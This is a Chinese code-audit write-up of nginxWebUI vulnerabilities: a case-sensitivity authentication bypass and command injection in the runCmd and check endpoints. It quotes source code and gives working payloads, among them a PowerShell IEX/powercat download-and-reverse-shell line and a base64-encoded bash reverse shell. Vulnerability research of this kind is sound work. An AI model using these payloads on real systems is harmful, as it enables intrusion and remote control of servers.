记一次代码审计rce测试学习过程

admin 2024年8月1日14:15:08评论20 views字数 4494阅读14分58秒阅读模式

文章来源:奇安信攻防社区

链接:https://forum.butian.net/share/3099

作者:中铁13层打工人

nginxWebUI后台提供执行nginx相关命令的接口,由于权限校验不严谨,未严格对用户的输入过滤,导致3.4.7版本之前可远程执行任意命令。本着学习的态度进一步了解该工具存在的漏洞并进行复现与分析

前言

nginxWebUI后台提供执行nginx相关命令的接口,由于权限校验不严谨,未严格对用户的输入过滤,导致3.4.7版本之前可远程执行任意命令。本着学习的态度进一步了解该工具存在的漏洞并进行复现与分析。

关于nginxWebUI

nginxWebUI是一款图形化管理nginx配置工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 也可管理多个nginx服务器集群, 随时一键切换到对应服务器上进行nginx配置, 也可以一键将某台服务器配置同步到其他服务器, 方便集群管理。

0X01 漏洞描述:

<=3.4.7版本,存在未授权命令执行

3.5.2 < =nginxWebUI <= 4.1.1,存在后台命令执行

0X02 漏洞环境搭建:

源码直接下载,导入idea后启动即可。

记一次代码审计rce测试学习过程

0X03 漏洞分析

一、未授权rce分析:

3.4.7版本:

先看下过滤器源码,了解系统的认证控制部分。进入Appfilter中可以看到,认证控制使用了Solon 框架。

记一次代码审计rce测试学习过程

查看path传入方式源码,传入的path没有做验证,Solon框架2.2.14之前路由器对 url 的匹配默认是 “忽略大小写” com.cym.NginxWebUI#main如下:

记一次代码审计rce测试学习过程

继续往下看可以看到doFilter方法,用于全局过滤。可以看到其中的登录过滤器,这里的验证逻辑是:如果请求路径中包含"/adminPage/"而不存在"/lib/"、"/doc/"、"/js/"、"/img/"或者"/css/",则会调用adminInterceptor()函数进行权限验证。可以了解到Solon 路由器对 url 的匹配默认是 “忽略大小写” 的,那么就可以通过大小写混淆的方式去绕过鉴权,从而实现未授权访问。

记一次代码审计rce测试学习过程

在漏洞公告提示runcmd方法存在命令执行,直接在源码里搜索runcmd查看源码(com.cym.controller.adminPage.ConfController#runcmd):

可以看到cmd参数是可以任意传入的,cmd传入的参数会先进行特殊字符的过滤,再检查cmd参数是否包含关键字符nginx,如果不包含,则将命令修改为 nginx restart,判断无误后直接拼接到RuntimeUtil.exec()方法中执行。需要注意这里仅做了部分特殊字符过滤,过滤不完全,可以尝试使用其他的命令符去绕过。

记一次代码审计rce测试学习过程

记一次代码审计rce测试学习过程

漏洞验证:

综上所述可以得到最终payload:

/AdminPage/conf/runCmd?cmd=calc%26nginx      //使用&绕过,uri中admin首字母大写page中P小写绕过

记一次代码审计rce测试学习过程

未授权rce漏洞修复:

3.5.2版本之后修复鉴权绕过:

这个版本以后作者在过滤器部分进行了修复,并且升级了solon框架至2.2.14版本,这个版本中可以对uri传入进行大小写敏感判断(com.cym.NginxWebUI#main)。另外在过滤器中加入了字符串转换方法,对uri进行了统一的小写字母格式转换。至此无法绕过登录。但是runcmd部分没有做任何修复,所以还可以实现后台rce。

记一次代码审计rce测试学习过程

String path = ctx.path().toLowerCase();

记一次代码审计rce测试学习过程

漏洞验证:

记一次代码审计rce测试学习过程

0X04 新发现

一、新的一处后台rce拓展:

系统中还存在其他位置存在rce,直接在搜索框搜索RuntimeUtil.exec查看还有哪里调用了命令执行函数,可以看到其中有很多点进去查看,发现在check方法下可以自定义传入的参数nginxexe:

记一次代码审计rce测试学习过程

跟进查看主要代码:

代码主要逻辑是读取一个名为 "mime.types" 的资源文件,并将其内容写入到临时文件中,然后构建一个命令用于测试 Nginx 配置的有效性,并执行该命令。nginxexe参数可控,可以直接尝试执行系统命令。

记一次代码审计rce测试学习过程

此处方法源码如下:

这里调用的是check接口方法

/**
 * 检查页面上的配置
 * 
 * @param nginxPath
 * @param nginxExe
 * @param nginxDir
 * @param json
 * @return
 */
@Mapping(value = "check")
public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
    if (nginxExe == null) {
       nginxExe = settingService.get("nginxExe");
    }
    if (nginxDir == null) {
       nginxDir = settingService.get("nginxDir");
    }

JSONObject jsonObject = JSONUtil.parseObj(json);
String nginxContent = Base64.decodeStr(jsonObject.getStr("nginxContent"), CharsetUtil.CHARSET_UTF_8);
nginxContent = URLDecoder.decode(nginxContent, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");

List<String> subContent = jsonObject.getJSONArray("subContent").toList(String.class);
for (int i = 0; i < subContent.size(); i++) {
String content = Base64.decodeStr(subContent.get(i), CharsetUtil.CHARSET_UTF_8);
content = URLDecoder.decode(content, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");
subContent.set(i, content);
}

// 替换分解域名include路径中的目标conf.d为temp/conf.d
String confDir = ToolUtils.handlePath(new File(nginxPath).getParent()) + "/conf.d/";
String tempDir = homeConfig.home + "temp" + "/conf.d/";
List<String> subName = jsonObject.getJSONArray("subName").toList(String.class);
for (String sn : subName) {
nginxContent = nginxContent.replace("include " + confDir + sn, //
"include " + tempDir + sn);
}

FileUtil.del(homeConfig.home + "temp");
String fileTemp = homeConfig.home + "temp/nginx.conf";

confService.replace(fileTemp, nginxContent, subContent, subName, false, null);

String rs = null;
String cmd = null;

try {
ClassPathResource resource = new ClassPathResource("mime.types");
FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types");

cmd = nginxExe + " -t -c " + fileTemp;
if (StrUtil.isNotEmpty(nginxDir)) {
cmd += " -p " + nginxDir;
}
rs = RuntimeUtil.execForStr(cmd);
} catch (Exception e) {
logger.error(e.getMessage(), e);
rs = e.getMessage().replace("n", "<br>");
}

cmd = "<span class='blue'>" + cmd + "</span>";
if (rs.contains("successful")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("n", "<br>"));
}

}

继续跟进RuntimeUtil.execForStr()

记一次代码审计rce测试学习过程

跟进发现代码对传参进来的命令进行了分割,根据空格把命令分割开,以数组的方式传入。

记一次代码审计rce测试学习过程

记一次代码审计rce测试学习过程

通过最终调用ProcessBuilder.start方法执行命令,其中cmdarray[0]是要执行的命令,程序会对命令参数进行检查判断其中是否包含空字符,如果包含则抛出异常。cmdarray[1]会被作为命令执行的参数进行转换,所以执行系统命令经过处理以后会使原来的命令执行失效。

记一次代码审计rce测试学习过程

下来就是执行传入的cmds命令

记一次代码审计rce测试学习过程

综上找到对应的漏洞功能点,check方法对应检验文件:

记一次代码审计rce测试学习过程

二、漏洞验证

windows下漏洞验证:

抓包测试漏洞执行弹calc命令:

记一次代码审计rce测试学习过程

尝试执行ping命令:

记一次代码审计rce测试学习过程

记一次代码审计rce测试学习过程

记一次代码审计rce测试学习过程

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc aQBxxxxxxGMAbwA==
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c xxxx -p xxx -e cmd

linux系统下验证漏洞:

在linux系统下测试漏洞,可以使用执行bash命令结合base64编码的形式反弹shell绕过命令分隔符判断。最终得到的 paylaod如下:

记一次代码审计rce测试学习过程

bash+-c+{echo,xxxxxxxxxxxxxxOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

后台rce漏洞验证:

记一次代码审计rce测试学习过程

4.1.1版本漏洞验证:

经过验证截至到最新版本(4.1.1)存在漏洞。

记一次代码审计rce测试学习过程

记一次代码审计rce测试学习过程

 

原文始发于微信公众号(黑白之道):记一次代码审计rce测试学习过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月1日14:15:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次代码审计rce测试学习过程https://cn-sec.com/archives/3021867.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息